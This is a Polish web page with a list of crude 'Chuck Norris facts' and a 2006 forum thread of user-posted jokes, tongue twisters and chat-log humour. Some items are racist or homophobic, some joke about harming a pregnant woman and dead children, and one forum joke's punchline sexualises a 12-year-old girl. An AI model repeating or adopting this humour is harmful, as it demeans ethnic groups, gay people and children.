142. W czasie II wojny ?wiatowej Albert Einstein i jego przyjaciel Chuck Norris zostali poproszeni o stworzenie ?mierciono?nej bomby. Stworzyli dwie - bombę atomowa i kopniak z obrotu. Kopniak z obrotu był dużo bardziej przyjazny dla ?rodowiska i to on miał być wykorzystany przeciwko Japonii, ale jeden z członków rzšdu uznał, ze byłby on broniš zbyt straszna. "Chcemy zranić Japonie, a nie zniszczyć ja całkowicie". Chuck Norris nazwał go "cipka" i kopnšł z półobrotu wysyłajšc do przyszło?ci. Ten członek rzšdu jest obecnie znany jako Al Gore.

143. Kiedy ciężarna pracownica linii lotniczych powiedziała Chuckowi Norrisowi, ze jego lot jest opó?niony, ten odparł, ze jej cišża tez i zaczšł skakać po jej brzuchu.

144. Chuck Norris postanowił kiedy? zrobić wibrator, który symulowałby wielko?ć i sile jego własnego penisa. Ten wibrator jest obecnie znany jako młot pneumatyczny.

145. Noe zamiast pary zwierzšt każdego gatunku zabrał na arkę wyłÂšcznie samice i Chucka Norrisa. A królestwo zwierzšt wcišż trwa...

146. Chuck Norris uprawiał seks analny z twoja dziewczyna.

147. Chuck Norris mieszka w Teksasie ze swojš żona i 874 wietnamskimi dziecmi-niewolnikami

148. W 1979 roku Chuck Norris został pierwszym Murzynem, który wygrał maraton nowojorski.

149. Chuck Norris może naładować telefon komórkowy tršc nim o brodę.

150. Chuck Norris wykonał Podroż Dookoła ?wiata w 80 Minut.

151. Kiedy Chuck Norris pokazuje "kciuk do góry" to znaczy, ze ma erekcje.

152. Postać Supermana jest lu?no oparta na Chucku Norrisa. Nie?cisło?ci dotyczš braku odporno?ci na kryptonit.

153. Chuck Norris korzysta z dublerów. W scenach płaczu.

154. Chuck Norris wygrał kiedy? ekstremalny triatlon z fortepianem przywišzanym do pleców. Po drodze uprawiał seks z 59 kobietami. A także jednym mężczyznš, który mišł do Chucka pretensje, ze jego żona utonęła w czasie orgazmu. Kiedy Chuck Norris odbierał nagrodę przyznał, ze po prostu przenosił swój fortepian i nie wiedział, ze jest jaki? wy?cig.

155. Chuck Norris przyniósł kiedy? na przyjęcie ekstremalnie ostry sos do salsy własnego przepisu. Wielu ludzi pytało go potem o skład sosu. Jak się okazało zawierał jego nasienie oraz martwe dzieci.

156. Chuck Norris zamiast sandałów nosi pułapki na nied?wiedzie.

157. Dlaczego kura przeszła przez ulice? Ponieważ Chuck Norris zjadł cala jej rodzinę, zabił rolnika, który ja wyhodował i uprawiał seks z żona rolnika. W tym samym czasie.

158. Chuck Norris używa swej lewej dłoni zamiast papieru toaletowego, a cukierki zjada nie wyjmujšc ich z opakowań.

159. Normalny człowiek ma 46 chromosomów. Chuck Norris ma 92. Zawsze jest dwa razy lepszy od przeciętnego człowieka.

160. Każdy ma jakiego? trupa w szafie. Chuck Norris ma ponad 7 tysięcy.

161. Gdy Chuck Norris chciał cygaro, człowiek wynalazł ogień. Szybko.

162. Chuck Norris nosi okulary, w których każdy wyglšda jak Azjata. To dlatego tak często kopie ludzi z półobrotu w twarz.

163. Za każdym razem gdy wchodzisz do saloonu, pamiętaj żeby powiedzieć "Chuck Norris mnie przysłał".

164. Jack Kevorkian odsyła swoich pacjentów do Chuck'a Norrisa.

165. Broda Chuck'a Norrisa jest najtwardszym znanym ludzko?ci materiałem. Następny jest jego napięty biceps.

166. Chuck Norris złapał karzełka. (leperchaun)

167. Bóg stworzył niebo i ziemie, potem stworzył człowieka. Ludzie przeludnili ziemie, dlatego stworzył Chuck'a Norrisa.

168. Gdy Chuck Norris umiera, trafia do specjalnego miejsca w niebie gdzie sš wszyscy, ktorzy wzywali imie Chucka nadaremno, żeby mógł ich kopnšć z półobrotu.

169. Cala muzyka techno jest oparta na rożnych sposobach bicia serca Chuck'a Norrisa.

170. Chuck Norris odrzucil zaproszenie Vin'a Diesel'a aby pograc na Xboxie 720 i Playstation 4, ponieważ był zajęty graniem na swoim Xboxie 1080 i Playstation 5.

171. Jeżeli kiedykolwiek biedzisz miał okazje spotkać Chuck'a Norrisa, zauważysz, ze cały czas nosi okulary przeciwsłoneczne. Jest tak dlatego, ze siła jego spojrzenia wysadziłaby Twój mózg i stopiła oczy.

172. 20 lat temu Chuck Norris u?miechnšł się, gdy my?lał o słoniach uprawiajšcych sex. Od tego czasu już się nie u?miecha...

173. Penis Chuck'a Norrisa jest ubezpieczony.

174. Je?li trzy razy zapukasz w drewno i wykrzyczysz imię Chuck'a seplenišc, zjawi się on i skopie Ci dupę. Będzie to najlepszy orgazm, jakiego kiedykolwiek do?wiadczysz.

175. Chuck Norris uwielbia zapach napalmu o poranku.

176. Chuck Norris będzie uprawiał seks tylko z kobietami, które zgodzš się to robić na jego nabijanym gwo?d?mi łożu. Nie trzeba chyba wspominać, ze będzie to najlepszy seks w ich życiu?

177. Ghandi był nazista, dopóki Chuck nie kopnšł go z półobrotu w twarz, pokazujšc, ze przemoc nie jest rozwišzaniem... a mógł zabić.

178. Chuck Norris rozstšpił Morze Czerwone, by wygrać zakład z Bogiem, otrzymujšc nie?miertelno?ć. Obecnie przekonuje Go, ze pokonałby go "na rękę"

179. Bron nie zabija ludzi, Chuck to robi.

180. Tom Cruise jest impotentem. Katie Holmes ma dzieci z Chuck'iem Norrisem.

181. Chuck Norris potrafi wybekac cały alfabet. Od tylu. Po łacinie. Na jednym wydechu. Stojšc na głowie. Przygrywajšc do tego na flecie.

182. Macgyver może zrobić helikopter z gumy i spinacza do papieru, ale Chuck Norris może go zabić i zabrać helikopter.

183. Chuck Norris potrafi obejrzeć "60 sekund" w 20 sekund.

184. Gdy Chuck Norris robi pompki, on nie podnosi siebie - Chuck Norris odpycha Ziemię.

185. Chuck Norris jest znany ze swojej skromno?ci, ale przyznaje też, że jest ósmym cudem ?wiata.

186. Chuck Norris chodzi do toalety raz w miesišcu, obojętnie czy potrzebuje, czy nie.

187. W angielskim alfabecie jest tak naprawdę 31 liter, ale tylko Chuck Norris wie jakie to 5 dodatkowych liter.

188. Chuck Norris nie musi połykać kiedy je.

189. Chuck Norris pokonał i złapał wszystkie 386 pokemonów w czasie poniżej 2.7 sekundy. Użył do tego jedynie kopniaka z półobrotu.

190. Chuck Norris ostatnio zapisał się na lekcje karate dla poczštkujšcych, żeby móc "przypadkowo" spu?cić manto małym dzieciom.

191. Chuck Norris nie rozumie, dlaczego powinno się pój?ć do lekarza, je?li erekcja trwa ponad 4 godziny. Wiadomo, że jego erekcje trwajš po 15 dni.

192. Je?li spojrzysz w lustro i powiesz "Chuck Norris" trzy razy, on się zjawi i zabije całÂš Twojš rodzinę... Ale przynajmniej zobaczysz Chucka Norrisa.

193. Chuck Norris zabija piętnastu białych ludzi pod koniec każdego tygodnia, żeby udowodnić, że nie jest rasistš.

194. Chuck Norris nakłada kondomy na lewš stronę, żeby to on mógł zażyć rozkoszy.

195. Chuck Norris - reszta jest milczeniem.

196. Od kiedy w 1940 roku narodził się Chuck Norris, odsetek ?mierci spowodowanych kopniakiem z półobrotu wzrósł o 13000%

197. Chuck Norris wynalazł wodę.

198. Zanim strach położy się spać, sprawdza czy Chuck Norris nie schował się w jego szafie.

199. Zamiast poczekać na poród Chuck Norris otworzył sobie drogę na ten ?wiat z półobrotu. Pięć minut po przyj?ciu na ?wiat zapu?cił brodę.

200. Chuck Norris przestał być prawiczkiem, zanim jego ojciec poznał jego matkę.

201. Siódmego dnia, gdy Bóg odpoczywał porzšdku pilnował Chuck Norris.

202. Wiedza na temat Mocy jest niepełna, a sš jej trzy rodzaje: Jasna Strona, Ciemna Strona i Chuck Norris.

203. Stwórca zaoferował Chuckowi Norrisowi umiejętno?ć latania, ale on szybko odmówił i poprosił o silny kopniak z półobrotu.

204. Chuck Norris nie umie latać, ale i tak to robi.

205. Chuck Norris pije napalm, by stłumić swój wewnętrzny żar.

206. Kopniak z półobrotu w wykonaniu Chucka Norrisa jest tak potężny, że widać go z kosmosu gołym okiem.

207. Chuck Norris nigdy w życiu nie mrugnšł. Nigdy.

208. Ukrytym talentem Chucka Norrisa jest niewidzialno?ć.

209. Chuck Norris ma najlepszš pokerowš twarz w dziejach. W 1983 roku wygrał międzynarodowe mistrzostwa w pokera majšc na ręku jokera, dwójkę pik, siódemkę karo, czwórkę z "Uno" i kartę "Przepustka z więzienia" z gry Monopol.

210. Chuck Norris wynalazł język w którym słowa zostały zastšpione różnego rodzaju kopniakami z półobrotu. Także gdy zostaniesz kopnięty nie obrażaj się: być może Chuck wła?nie skomplementował twój kapelusz.

211. Pewnego razu, podczas sparingu z Wolverinem Chuck Norris stracił jedno z jšder. Na pewno pamięć o tym jšdrze nie została pogrzebana, a to ze względu na jego oficjalnš nazwę: Jowisz.

212. Chuck Norris jest prawdziwym ojcem Lucka Skywalkera.

213. Chuckowi Norrisowi nie zdarzajš się pomyłki w literowaniu. Je?li jednak jaka? się zdarzy, Oxford uznaje nieomylno?ć Chucka i poprawia błÂšd w swoim słowniku.

214. Michael Jackson nie wybielał twarzy: on zbladł po tym jak przestraszył go Chuck Norris.

215. Gdy Chuck Norris zabiera swoje dzieci na ryby wybiera odosobnione, ciche miejsce. Zwykle jadš na Trójkšt Bermudzki.

216. Biblia się myli. To nie Adam i Ewa... to Chuck Norris.

217. Żaden kompas nie pokazuje gdzie jest północ. Wszystkie pokazujš na miejsce, w którym akurat jest Chuck Norris.

218. Chuck Norris kopniakiem z półobrotu zniszczył czarnš dziurę.

219. Chuck Norris zjadł raz ryzę papieru i wysrał kilkaset figurek origami. Oraz mistrza Miyagi z Karatekida.

220. Chuck Norris i Van Diesel spotkali się tylko dwa razy. Oba spotkania zostały zatuszowane przez rzšd USA. Oficjalnie sš znane jako bombardowanie Hieroszimy i Nagasaki.

221. Pluton jest orbitujšcš grupš brytyjskich żołnierzy z czasów wojny o niepodległo?ć, którzy wylecieli w kosmos po tym, jak Chuck Norris kopnšł ich z półobrotu w twarz.

222. Kiedy Chuck Norris dzwoni na 0-700, nie zostaje obcišżony rachunkiem. Automat sam sobie wrzuca monety.

223. Kopniak z półobrotu w wykonaniu Chucka Norrisa jest preferowanym sposobem wykonania kary ?mierci w 16 stanach.

224. Kiedy Chuck Norris wpada do wody nie staje się mokry, to woda staje się norrisowata.

225. W domu Chucka Norrisa nie ma drzwi. Sš tylko ?ciany, przez które przechodzi.

226. Wilt Chamberlain chwali się, że w życiu spał z 20.000 kobiet. Chuck Norris nazywa to "wolnym wtorkiem".

227. Chuck Norris nie potrzebuje tlenu do życia. Tlen potrzebuje Chucka Norrisa.

228. Je?li Chuck Norris się nie wyrabia w czasie, to czas zwalnia.

229. W momencie swoich narodzin Chuck Norris kopnšł z półobrotu doktora. Nikt inny nie będzie przyjmował porodu Chucka Norrisa niż sam Chuck Norris.

230. Na poczštku każdego lata Chuck Norris zaczyna trening (kzp) kopów z półobrotu. Wtedy wła?nie zaczyna się pora huraganów.

231. Plemniki Chucka Norrisa sš wielkie jak węgorze.

232. Chuck Norris jest tak popularny, że został królem i królowš balu.

233. Bóg nie dopuszcza, aby dobrym ludziom działy się złe rzeczy. W odróżnieniu, od Chucka Norrisa.

234. Pot Chucka Norrisa to najlepszej jako?ci Whiskey.

235. Kosmici istniejš. Czekajš tylko aż Chuck Norris umrze, żeby się ujawnić.

236. Chuck Norris rok spędził na Antarktydzie w samych slipkach. Antarktyda nie przeżyła.

237. Chuck Norris nie podgrzewa jedzenia. Patrzy na nie aż robi się goršce ze strachu

238. Chuck Norris boi się tylko jednej rzeczy - że kiedy? dostanie z półobrotu w twarz od samego siebie

239. Sex z Chuckiem Norrisem jest jak pytanie go o godzinę - zawsze "Dwie sekundy do..."

240. Kobiety nie kończš z Chuckiem Norrisem. To on kończy z kobietami. Na zawsze. Z półobrotu.

241. Chuck Norris jest jak wódka. Nigdy nie wiesz, kiedy Cię kopnie

242. Nie ma czego? takiego jak zaraza. jest tylko niestrawno?ć Chucka Norrisa

243. Chuck Norris jest jedynš osobš, który ułożył kostkę Rubika w jednym ruchu - kopnšł jš z półobrotu

244. Venus z Milo kiedy? miała ręce. A potem spotkała Chucka.

245. Chuck wynalazł perpetum mobile. Ale kopnšł je z półobrotu, nim ktokolwiek zdołał zobaczyć jak je skonstruować

246. To nie naukowcy odkryli rozszczepianie się atomu- to Chuck Norris postanowił kopnšć z półobrotu najmniejszš rzecz na ?wiecie

247. Chuck Norris nie używa prezerwatyw. Jego plemniki kopiš jajo z półobrotu żeby wróciło do jajnika.

248. Gdyby Chuck Norris urodził się w epoce kamienia łupanego, wszyscy ludzie mieliby teraz jednš nogę ułożonš poziomo do kopania z półobrotu

249. Gdyby Chuck Norris żył w epoce Ludwika XIV to muszkieterowie nie walczyliby na szpady, tylko kopali z półobrotu

250. ZSRR rozpadł się, ponieważ Chuck kopnšł go z półobrotu

251. ?w. Jan widział Chucka Norrisa w akcji, ale wolał to nazwać armageddon

252. CKM to skrót od Chuck Kopie Mocno

253. Chuck Norris nie wpada pod samochody. To samochody wpadajš na Chucka

254. Tylko Chuck Norris wynalazł sznurek, który nie ma poczštku ani końca. Je?li spróbujesz sprawę zakwestionować- dostaniesz kopa z półobrotu. I wtedy stanie się jasne, jak sznurek powstał.

255. Co nie uchodzi ludziom, uchodzi bogom. Co nie uchodzi bogom, uchodzi Chuckowi Norrisowi.

256. Chuck Norris grał w pokera z Bushem, Bin Ladenem i Putinem. Majšc pięć asów wygrał, a nikt nie ?miał kwestionować.

256. Na poczštku był jeden kontynent. Potem Chuck Norris rozbił go kopniakiem
z półobrotu.

257. Wieża w Pizie była prosta dopóki Chuck Norris nie kopnał jej z półobrotu.

258. Chuck Norris to jedyny człowiek na Ziemi który potrafi przej?ć
trickjumpow'š mapę szybciej niż Common kopišc klawiaturę i myszkę z
półobrotu.

259. Gdy robi się zdjęcie Chuckowi Norrisowi, to flesz nie zdšży blysnšć.
Chuck strzela sam sobie fotkę kopniakiem z półobrotu.

260. Chuck Norris odwiedził tš stronę zanim powstała. A w zasadzie to strona
odwiedziła Jego.

261. Piramidy stojš tylko dzięki temu, że Chuck Norris nie kopnšł ich z półobrotu. Nie chciało mu się.

262. Chuckowi Norrisowi gratulujemy kopniaka z półobrotu... i brody.

263. Kiedy Chuck Norris był mały bawił się laleczkš....Chucky.

264. Chuck Norris potrafi polizać się po łokciu.

265. Kiedy? Chuck Norris chciał umyć nogę, więc kopnšł w ocean. Wtedy tsunami zalało Azję.

266. Drzewa nie uginajš się ani nie łamiš pod wpływem wiatru. To Chuck Norris trenuje w pobliżu kopniaki z półobrotu.

267. Gra F.E.A.R kłamie. Prawdziwym znaczeniem strachu nie jest mała demoniczna dziewczynka. To Chuck Norris posłużył autorom za wzór, tylko że oni bojš się teraz do tego przyznać. Chuck i tak ich znajdzie.

268. Czym się różni Chuck Norris od skały - skałę można skruszyć, a Chuck jest zawsze twardy.

269. Chuck Norris nie potrzebuje towarzystwa, to towarzystwo potrzebuje Chucka.

NOWE

270. Chuck Norris raz spojrzał w lustro... i spalił 3000 kalorii.

271. Tylko Chuck Norris może skakać na bungee bez liny.

272. Kršży plotka, że Chuck Norris został kiedy? pobity przez pirata...Wymy?lił jš sam Chuck Norris, aby napadało na niego więcej piratów... Piraci nigdy nie byli bystrzachami.

273. Do Chuck Norrisa przed kręceniem każdego odcinka "Strażnika z Texasu" strzelano 3 razy ?rodkiem do usypiania słoni - aby choć trochę obniżyć jego siłę i zręczno?ć.

274. Chuck Norris nie musi połykać kiedy je.

275. Chuck Norris jest męski do tego stopnia, że nawet jego włosy na klacie sš owłosione.

276. Chuck Norris potrafi zrobić jajecznicę. Z mški i pomidorów...

277. Czemu Obcy kryl się na biegunie? Bo bał się Chucka Norrisa.

278. Księżyc wcale nie powoduje przypływów i odpływów. To Chuck Norris wstaje i kładzie się spać.

279. Dlaczego Chuck nosi brodę ?.......stara się nabrać wroga ze jest ?w.
Mikołajem a następnie zadaje cios ostateczny.

duch - 18-01-2006, 13:44

No to kolejna porcja do_w_cipów :22:

Przychodzi trzech nalogowcow do lekarza-palacz,homoseksualista i alkocholik.lekarz bada ich i stawia diagnoze:
-jezeli jeszcze raz ktorys z was ulegnie swojemu nalogowi ,umrze.
wychodza z gabinetu i w ponurym nastroju ida ulica.nagle alkocholik nie wytrzymuje,wstepuje do baru,wypija kielicha i pada martwy.palacz rowniez nie wytrzymal,ale gdy wyjmowal szluga z paczki ten spadl mu na ziemie.homoseksualisa mowi do niego:
-jesli sie po niego schylisz obaj jestesmy martwi.
------------------------------------------------------------------------------

Czat internetowy w Stanach, koleś rozmawia z panna.
- Jak ci na imię?
- Carmen.
- O, ładnie, a skąd takie oryginalne imię?
- Sama sobie nadałam, bo lubię samochody i facetów (car+men . A ty jak masz na imię?
- Beerfuck
------------------------------------------------------------------------------

Trzy zakonnice rozmawiają. Pierwsza mówi:
- Wczoraj, gdy sprzątałam biuro księdza, znalazłam tam stos pornosów!
- I co zrobiłaś z nimi? - spytały się zakonnice
- Wywaliłam je do śmietnika.
Druga siostra:
- Gdy odkładałam wyprane ubrania księdza do szafy, znalazłam tam
opakowanie prezerwatyw.
- I co zrobiłaś? - spytały się znów zakonnice.
- Przedziurawiłam je szpilka.
Trzecia siostra zemdlała.
------------------------------------------------------------------------------

Był sobie facet, niedorajda życiowa - żona go robiła w jajo,
dzieci nie lubiły, kiepska praca, 20 lat bez awansu, bez pieniędzy itd,.
dla kolegów popychadło. Któregoś razu idzie przez las - patrzy a na drodze siedzi mała żabka i mówi do niego:
- Znam Cie. Znam twoje problemy - wiem , że jesteś dobrym człowiekiem - pomoge ci. Idź do domu i zobacz jak będziesz żył od dzisiaj.
Koleś się popukał w czoło i poszedł do domu. I o dziwo... ZASKOCZENIE! Żona pięknie ubrana lata wokół niego, dzieci ciągną na spacer. Na drugi dzień w pracy propozycja awansu, kasa się sypnęła, koledzy na okrągło.... PIĘKNIE! Koleś aż nie może uwierzyć i myśli - musze pójść do tej żabki i jej podziękować! Idzie do lasu spotyka tą żabke i mówi:
- Tyle dla mnie zrobiłaś, jestem szęśliwym człowiekiem, odmieniłaś moje życie Co mogę dla Ciebie zrobić, może przynajmniej w małym procencie wynagrodzę ci tę uczynność. Żabka na to:
- Przeleć mnie.
A facet z zażenowaniem:
- Ale jak,... przecież ty taka mała jesteś, jak mam to zrobić
- wiesz... mam ograniczone możliwości i nie zmienie się w 25 letnią, piękną, dorodną blondynkę z wielkimi cyckami.... Szczyt moich możliwości, to gdzieś... 12 lat.
- Ok, niech bęedzie dwunastolatka.
Żaba się w mig zmieniła w 12tke - facet ją przeleciał...
- I taka jest prawda Wysoki Sądzie, a nie to, co opowiada ta gówniara...


:22: :22: :22:

:dj: Duch

Marcin B - 18-01-2006, 19:11

Szanowni Państwo, posty zacne lecz prosiłbym o podawanie źródła lub linka do strony z której pochodzą dżołki, żeby inni nie mogli zarzucić nam plagiatów lub braku kultury.
Generalizuje, ale zainteresowani powinni się domyślić o kogo chodzi.

Aston - 18-01-2006, 22:58

Mysle, ze plagiat w zarcie i podawanie linka do niego to dosc trudna do ustalenia sprawa.
Zart krazy, zmienia postacie i wraca po 20, 40 latach czasem tego samego dnia
pojawia sie w kilku miejscach.
Oczywiscie jezeli chodzi o jego zwerbalizowanie i spisanie na stronie to troszke cos innego.


A tak z innej beczki:


Siedza dwa golebie na parapecie sraja przykladnie i w pewnym momecie jeden z nich kichnal.
Drugi na to:
- Ale smieszne qr.., ale smieszne!



:wave: :wave:

Przeman - 19-01-2006, 08:17

Statek badawczy kolejny miesiąc tuła się po oceanie. Załoga po cichu zaczyna popijać z tęsknoty za lądem. Kapitan postanowił przerwać te bezeceństwa i zebrał całą załogę na pokładzie:
- W związku z zaobserwowanymi przypadkami pijaństwa na pokładzie, zobowiązuję wszystkich do wyrzucenia całych zapasów wódki do morza!
Na pokładzie zaległa grobowa cisza. I nagle gdzieś, z tylnych rzędów rozlega się radosny głos:
- Kapitan ma rację! To jest hańba! Bez dwóch zdań należy cały zapas alkoholu wyrzucić za burtę!
Załoga zaszokowana. Po chwili odzywa się bosman:
- Hej, wy tam z tylnych rzędów! Czy ktoś udzielił głosu nurkom?

wrobel.cwirek - 19-01-2006, 09:02

Przeman, ale to jest dowcip NURKOWY!!!
Przeman - 19-01-2006, 09:25

No tak...ale to z rozpędu:)

Wiec masz tu nienurkowy:

Dla wszystkich którzy boją się tych mrozów ktore właśnie się zaczynają.

O zimie w Finlandii

+10°C Mieszkańcy domów komunalnych w Helsinkach zamykają okna. Lapończycy sadza kwiatki w oknach.
+5°C Lapończycy opalają sie na balkonie, jeżeli słońce jest jeszcze nad horyzontem...
+2°C Włoskie samochody nie zapalają.
0°C Woda zamarza.
-1°C Oddech staje sie widoczny. Czas zaplanować urlop nad morzem śródziemnym. Lapończycy jedzą lody popijając zimnym piwem.
- 4°C Kot wchodzi pod kołdrę.
-10°C Czas zaplanować urlop w Afryce. Lapończycy idą popływać.
-12°C Zbyt zimno na śnieg.
-15°C Amerykańskie auta nie zapałają.
-18°C Właściciele domów w Helsinkach włączają ogrzewanie.
-20°C Oddech staje sie słyszalny.
- 22°C Francuskie auta nie zapalają. Za zimno na jazdę na łyżwach.
- 23°C Politycy zaczynają współczuć bezdomnym.
-24°C Niemieckie auta nie zapalają
-26°C Z oddechu uzyskuje sie materiał na budowę igloo...
-29°C Kot wchodzi pod pidzame.
-30°C Japonskie auta nie zapalają, Lapończyk klnie, kopie wkoło swojej Toyoty i zapala Łade.
-31°C Za zimno na pocałunki - usta przymarzają do siebie. Lapońska drużyna narodowa zaczyna przygotowania do sezonu wiosennego.
-35°C Czas zaplanować dwutygodniowa kąpiel w gorących źródłach. Lapończycy odśnieżają dachy.
-39°C Rtęć marznie. Za zimno, by myśleć. Lapończycy zapinają ostatni guzik w koszuli.
-40°C Niemiec bierze samochód pod koldre. Lapończycy zakładają swetry.
-45°C Lapończycy zamykają okienko w wychodku.
-50°C Lwy morskie opuszczają Grenlandie. Lapończycy zamieniają rękawiczki z pięcioma palcami na jednopalcowe.
-70°C Niedźwiedzie polarne opuszczają biegun. Na Uniwersytecie w Rovaniemi organizuje sie bieg długodystansowy.
-75°C Sw. Mikołaj opuszcza krąg polarny. Lapończycy opuszczają nauszniki z czapek na uszy.
-250°C Alkohol zamarza. Lapończycy są wkurzeni.
-268°C Hel staje sie płynny.
-270°C Piekło zamarza.
-273,15°C Zero absolutne. Brak ruchu cząstek elementarnych... Lapończycy przyznają: "Tak jest nieco chłodno, rozłupmy se flaszeczkę na rozgrzanie ..."

mariner69 - 19-01-2006, 23:02

Witam
Coś dla treningu mięśni :-D
BĄK
Spadł bąk na strąk,
a strąk na pąk.
Pękł pąk, pekł strąk,
a bąk się zląkł.

===========

BYCZKI
W trzęsawisku trzeszczą trzciny,
trzmiel trze w Trzciance trzy trzmieliny
a trzy byczki znad Trzebyczki
z trzaskiem trzepią trzy trzewiczki.

===========

BZYK
Bzyczy bzyg znad Bzury
zbzikowane bzdury,
bzyczy bzdury, bzdurstwa bzdurzy
i nad Bzurą w bzach bajdurzy,
bzyczy bzdury, bzdurnie bzyka,
bo zbzikował i ma bzika!

===========

CHRZĄSZCZ
Trzynastego, w Szczebrzeszynie
chrząszcz się zaczął tarzać w trzcinie.
Wszczęli wrzask Szczebrzeszynianie:
- Cóż ma znaczyć to tarzanie?!
Wezwac trzeba by lekarza,
zamiast brzmieć, ten chrząszcz się tarza!
Wszak Szczebrzeszyn z tego słynie,
że w nim zawsze chrząszcz BRZMI w trzcinie!"
A chrząszcz odrzekł nie zmieszany:
- Przyszedł wreszcie czas na zmiany!
Dawniej chrząszcze w trzcinie brzmiały,
teraz będą się tarzały".

===========

CIETRZEW
Trzódka piegży drży na wietrze,
chrzeszczą w zbożu skrzydła chrząszczy,
wrzeszczy w deszczu cietrzew w swetrze
drepcząc w kółko pośród gąszczy.

===========

KRÓLIK
Kurkiem kranu kręci kruk,
kroplą tranu brudząc bruk,
a przy kranie, robiąc pranie,
królik gra na fortepianie.

===========

KRUK
Za parkanem wśród kur na podwórku
kroczył kruk w purpurowym kapturku,
raptem strasznie zakrakał i zrobiła się draka,
bo mu kura ukradła robaka

Pozdrawiam

KasiaK - 20-01-2006, 01:26

super mariner! sie zaplułam cała czytając na głos :mrgreen:
Anja - 20-01-2006, 08:51

Przeman napisał/a:
Dla wszystkich którzy boją się tych mrozów

dzięk wielkie w imieniu wszystkich zmarźlaków :-D

duch - 20-01-2006, 12:10

Na początek formalizm o który proszono :22: :
Sam nie wymyślam dowcipów pochodzą one z:
1. Internetu
2. Maili
3. Innych forów
4. Przekazu słownego
5. Gazet
6. A z resztą - czy to ważne ?
:22: :22:

A teraz kilka z nich:

Trójka dzieci z 1 klasy stoi przed ostatnia szansa aby otrzymać promocje do drugiej klasy. Przepytuje je dyrektor:
- Jasio, przeliteruj słowo TATA
- T, A,T, A
- Świetnie! Zdałeś!
- A teraz Monika, przeliteruj słowo MAMA
- M, A, M, A
- Doskonale! Przechodzisz do drugiej klasy...
- A teraz ty Ahmed...
- Przeliteruj proszę.... DYSKRYMINACJA OBCOKRAJOWCOW W SWIETLE POLSKICH PRAW KONSTYTUCYJNYCH....
-----------------------------------------------------------------------

Żona wstaje rano, spogląda w lustro. Oblicze straszne, oczy podkrążone, włosy potargane...
Popatrzyła na męża, zadumała się i myśli: Jakie to szczęście, że Ciebie znalazłam! I jaki Ty głupi byłeś!
-----------------------------------------------------------------------

Giełda samochodowa. Do siedzącego w samochodzie faceta podchodzi potencjalny kupiec :
- Ile za to badziewie ?
- Jakie badziewie ? - oburza się właściciel - Nowy lakier, nowy silnik, nowe hamulce, nowa skrzynia biegów, nowy układ wydechowy....
- To czemu go sprzedajesz ?
- Bo chcę kupić nowy.
-----------------------------------------------------------------------

Przychodzi ciężarna kobieta do astrologa i chce postawić horoskop przyszłemu dziecku
- Pod jakim znakiem było poczęte dziecko?
- ???? Poo...d Zakaz palenia.

:dj: Duch

IRA - 20-01-2006, 12:58

Rodzinka wprowadziła się do domku, obok parceli budowlanej. Pewnego dnia na parceli pojawiła się ekipa budowlańców i zaczęli oni budować tam jakiś dom.
W rodzince była 5-letnia dziewczynka, która jak to dziecko żywo interesowała się tym co się na budowie dzieje. Spędzała dużo czasu na obserwowaniu wszystkiego i wszystkich. Z czasem budowlańcy, bardziej lub mniej przyzwyczaili się do niej, traktowali ją jako maskotkę swojej budowy. Rozmawiali z nią, pozwalali jej ze sobą siedzieć podczas przerwy śniadaniowej. Czasem dawali jej jakąś malutką robótkę, tak żeby czuła się ważna. Po tygodniu dali jej nawet kopertę z wypłatą (kilka dolarów).
Dziewczynka wzięła pieniądze do domu i pokazała mamie. Mama bardzo ją pochwaliła i powiedziała że już w tak młodym wieku zarabiać pieniądze, to fantastyczne i że jutro pojadą do banku i założą jej konto, aby mogła oszczędzać.
Następnego dnia w banku, urzędnik był zdumiony, jak taka mała dziewczynka, zarobiła pierwsze pieniądze w życiu.
- Pracowałam cały tydzień na budowie domu obok nas.
- To świetnie, pewnie w przyszłym tygodniu też będziesz pracować, co?
- Będę jeśli te dupki z Office Depot przywiozą te p**rdolone płyty

mariner69 - 20-01-2006, 17:46

Witam

Główny Urząd Ceł postanowił przeprowadzić ankietę wsród celników na temat łapówkarstwa. Jedno z pytań zadawanych przez komisję brzmiało: -
"Ile czasu potrzebujesz aby za łapówki kupić BMW?" Celnik z
polsko-niemieckiej granicy odpowiada: - Dwa, trzy miesiące.
Celnik z polsko-czeskiej granicy: - No, z pół roku.
Celnik ze "ściany wschodniej" po dłuższym zastanowieniu: - Dwa, trzy lata.
Komisja zadziwiona: - Tak długo?
Celnik ze "ściany wschodniej": - Chłopaki, nie przesadzajcie, BMW to w
końcu duża firma...

Zbliżają się urodziny kolegi celnika - dwaj jego kumple
zastanawiają się nad prezentem:
- Może 50-calowego płaskiego Soniaka i kino domowe?
- Eeee, już ma takich kilka, nawet w kuchni i garażu...
- To może Merolka S-ke albo Beemke??
- Bez sensu! Jego żona i dzieciaki jezdżą takimi już od dawna!
- No to w takim razie... Wiem! Zostawmy go samego na zmianie w
dniu urodzin!
- No k**wa, bez przesady!


- Halo czy to reanimacja?
- Tak.
- Czy Nowak jeszcze zyje?
- Jeszcze nie.

Pozdrawiam

Luhan - 20-01-2006, 20:47

Spotkały się dwa rekiny:
-Wiesz, po nurkach mam zgagę-mówi pierwszy.
-Idioto, trzeba ich najpierw z gumy obdzierać.

(Zródło-jakas rosyjska stronka nurkowa)

Adam Frajtak - 22-01-2006, 10:12

zapis z czata
<semir> tam jest takie ciśnienie, że by Ci jaja rozerwało
<beta> ja jestem dziewczyną
<semir> no to mózg by Ci rozerwało
<shadow_no> ona jest dziewczyną
**********************************
<kasia> cze, poklikamy
<jebie_twiją_starą> zobacz moj nick
<kasia> no widze i co ?
<jebie_twiją_starą> nie rozumiesz...
<kasia> nie, ale moze sie lepiej poznamy
<jebie_twiją_starą> ja cie znam
<kasia> z kad ?
<jebie_twiją_starą> popatrz na moj nick...
<kasia> tata ?

***************************************
ryh> siedze sobie przed domem, po imprezie troszku zakrapianej
<ryh> i podjeżdża kumpel na skuterze w kasku
<ryh> staje mi pod domem... ja podchodze i sie pytam: co tam?
<ryh> a on mi coś bełkoce w tym kasku... ja sie pytam: co? a on: blbllbellblelb (bełkot)
<ryh> ja go caly czas nie czaje... i mu mowie: zdejmij ten kask urwa to moze cos zrozumiem
<ryh> on swoje caly czas: blelblellbleb
<ryh> juz kurwicy dostawalem... i mu dre morde: ZDEJMIJ KASK DEBILU!
<ryh> on uslyszal... zdejmuje ten kask tak jakby mu był za mały... ledwo go przez łeb przeciska... zdjął...
<ryh> ja patrze... a on cały obrzygany...
<ryh> no myslalem ze jebne... on nic nie gadal tylko do kasku rzygał...

tsharny - 24-01-2006, 09:52

Pani Stasia była organistką w kościele, miała już prawie 80
